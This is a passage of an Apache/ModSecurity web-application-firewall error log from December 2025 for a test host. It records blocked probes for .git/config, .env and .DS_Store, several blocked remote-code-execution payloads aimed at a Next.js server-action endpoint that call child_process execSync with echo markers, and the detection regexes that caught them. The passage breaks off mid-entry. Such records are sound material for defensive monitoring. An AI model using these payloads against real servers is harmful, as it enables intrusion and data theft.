[Wed Dec 24 05:48:52.877708 2025] [:error] [pid 942100] [client 188.166.108.93:46770] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUtwtPl7Z5lr6dAW68DeegAAAAE"]
[Wed Dec 24 06:50:23.248463 2025] [authz_core:error] [pid 942141] [client 146.190.242.161:54514] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Wed Dec 24 06:50:26.289588 2025] [:error] [pid 942137] [client 146.190.242.161:36214] [client 146.190.242.161] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUt_Ilz848j8rVCtVZepYwAAAAg"]
[Wed Dec 24 06:50:26.289818 2025] [:error] [pid 942137] [client 146.190.242.161:36214] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUt_Ilz848j8rVCtVZepYwAAAAg"]
[Wed Dec 24 06:50:26.289983 2025] [:error] [pid 942137] [client 146.190.242.161:36214] [client 146.190.242.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUt_Ilz848j8rVCtVZepYwAAAAg"]
[Wed Dec 24 06:50:27.251078 2025] [:error] [pid 942151] [client 146.190.242.161:36220] [client 146.190.242.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUt_IxZfX5YESfaQlc6tTAAAAAM"]
[Wed Dec 24 06:50:27.251309 2025] [:error] [pid 942151] [client 146.190.242.161:36220] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUt_IxZfX5YESfaQlc6tTAAAAAM"]
[Wed Dec 24 06:50:27.251968 2025] [:error] [pid 942151] [client 146.190.242.161:36220] [client 146.190.242.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUt_IxZfX5YESfaQlc6tTAAAAAM"]
[Wed Dec 24 06:50:29.251201 2025] [:error] [pid 942099] [client 146.190.242.161:36236] [client 146.190.242.161] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUt_JQeXSDK58jw1o5esPgAAAAA"]
[Wed Dec 24 06:50:29.251409 2025] [:error] [pid 942099] [client 146.190.242.161:36236] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUt_JQeXSDK58jw1o5esPgAAAAA"]
[Wed Dec 24 06:50:29.251570 2025] [:error] [pid 942099] [client 146.190.242.161:36236] [client 146.190.242.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUt_JQeXSDK58jw1o5esPgAAAAA"]
[Wed Dec 24 21:00:51.286617 2025] [:error] [pid 956342] [client 204.76.203.25:44264] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUxGc3t-ymOL7hVHsmT3awAAAAY"]
[Wed Dec 24 21:00:51.286881 2025] [:error] [pid 956342] [client 204.76.203.25:44264] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUxGc3t-ymOL7hVHsmT3awAAAAY"]
[Wed Dec 24 21:00:51.287040 2025] [:error] [pid 956342] [client 204.76.203.25:44264] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUxGc3t-ymOL7hVHsmT3awAAAAY"]
[Thu Dec 25 03:44:22.423454 2025] [:error] [pid 963871] [client 18.230.118.221:58836] [client 18.230.118.221] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUylBqsqHORkuasgstYx7QAAAAE"]
[Thu Dec 25 03:44:22.423950 2025] [:error] [pid 963871] [client 18.230.118.221:58836] [client 18.230.118.221] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUylBqsqHORkuasgstYx7QAAAAE"]
[Thu Dec 25 03:44:22.424851 2025] [:error] [pid 963871] [client 18.230.118.221:58836] [client 18.230.118.221] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUylBqsqHORkuasgstYx7QAAAAE"]
[Thu Dec 25 03:44:22.425017 2025] [:error] [pid 963871] [client 18.230.118.221:58836] [client 18.230.118.221] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aUylBqsqHORkuasgstYx7QAAAAE"]
[Thu Dec 25 06:00:37.695175 2025] [:error] [pid 964236] [client 18.234.54.84:51716] [client 18.234.54.84] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUzE9fgeRVizyCHBwqZXdQAAAAc"]
[Thu Dec 25 06:00:37.695448 2025] [:error] [pid 964236] [client 18.234.54.84:51716] [client 18.234.54.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUzE9fgeRVizyCHBwqZXdQAAAAc"]
[Thu Dec 25 06:00:37.695599 2025] [:error] [pid 964236] [client 18.234.54.84:51716] [client 18.234.54.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUzE9fgeRVizyCHBwqZXdQAAAAc"]
[Thu Dec 25 17:35:50.912696 2025] [:error] [pid 963870] [client 15.152.164.170:36200] [client 15.152.164.170] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aU1n5qhCSY3eq6SYv7SNzQAAAAA"]
[Thu Dec 25 17:35:50.913172 2025] [:error] [pid 963870] [client 15.152.164.170:36200] [client 15.152.164.170] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aU1n5qhCSY3eq6SYv7SNzQAAAAA"]
[Thu Dec 25 17:35:50.914102 2025] [:error] [pid 963870] [client 15.152.164.170:36200] [client 15.152.164.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aU1n5qhCSY3eq6SYv7SNzQAAAAA"]
[Thu Dec 25 17:35:50.914269 2025] [:error] [pid 963870] [client 15.152.164.170:36200] [client 15.152.164.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aU1n5qhCSY3eq6SYv7SNzQAAAAA"]
[Thu Dec 25 21:07:06.354796 2025] [:error] [pid 964237] [client 85.11.167.4:45054] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN_1766693226_7311',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU2ZavW7LvgXGQX87MiXdQAAAAg"], referer: https://forst-trento.test.indacotrentino.com
[Thu Dec 25 21:07:06.354932 2025] [:error] [pid 964237] [client 85.11.167.4:45054] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN_1766693226_7311',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [ [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU2ZavW7LvgXGQX87MiXdQAAAAg"], referer: https://forst-trento.test.indacotrentino.com
[Thu Dec 25 21:07:06.355008 2025] [:error] [pid 964237] [client 85.11.167.4:45054] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo vuln_1766693226_7311 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU2ZavW7LvgXGQX87MiXdQAAAAg"], referer: https://forst-trento.test.indacotrentino.com
[Thu Dec 25 21:07:06.356063 2025] [:error] [pid 964237] [client 85.11.167.4:45054] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU2ZavW7LvgXGQX87MiXdQAAAAg"], referer: https://forst-trento.test.indacotrentino.com
[Thu Dec 25 21:07:06.356228 2025] [:error] [pid 964237] [client 85.11.167.4:45054] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU2ZavW7LvgXGQX87MiXdQAAAAg"], referer: https://forst-trento.test.indacotrentino.com
[Thu Dec 25 21:07:06.524247 2025] [:error] [pid 964236] [client 85.11.167.4:45066] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo TEST_1766693226',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "app [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU2ZavgeRVizyCHBwqZXvgAAAAc"], referer: https://forst-trento.test.indacotrentino.com
[Thu Dec 25 21:07:06.524366 2025] [:error] [pid 964236] [client 85.11.167.4:45066] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo 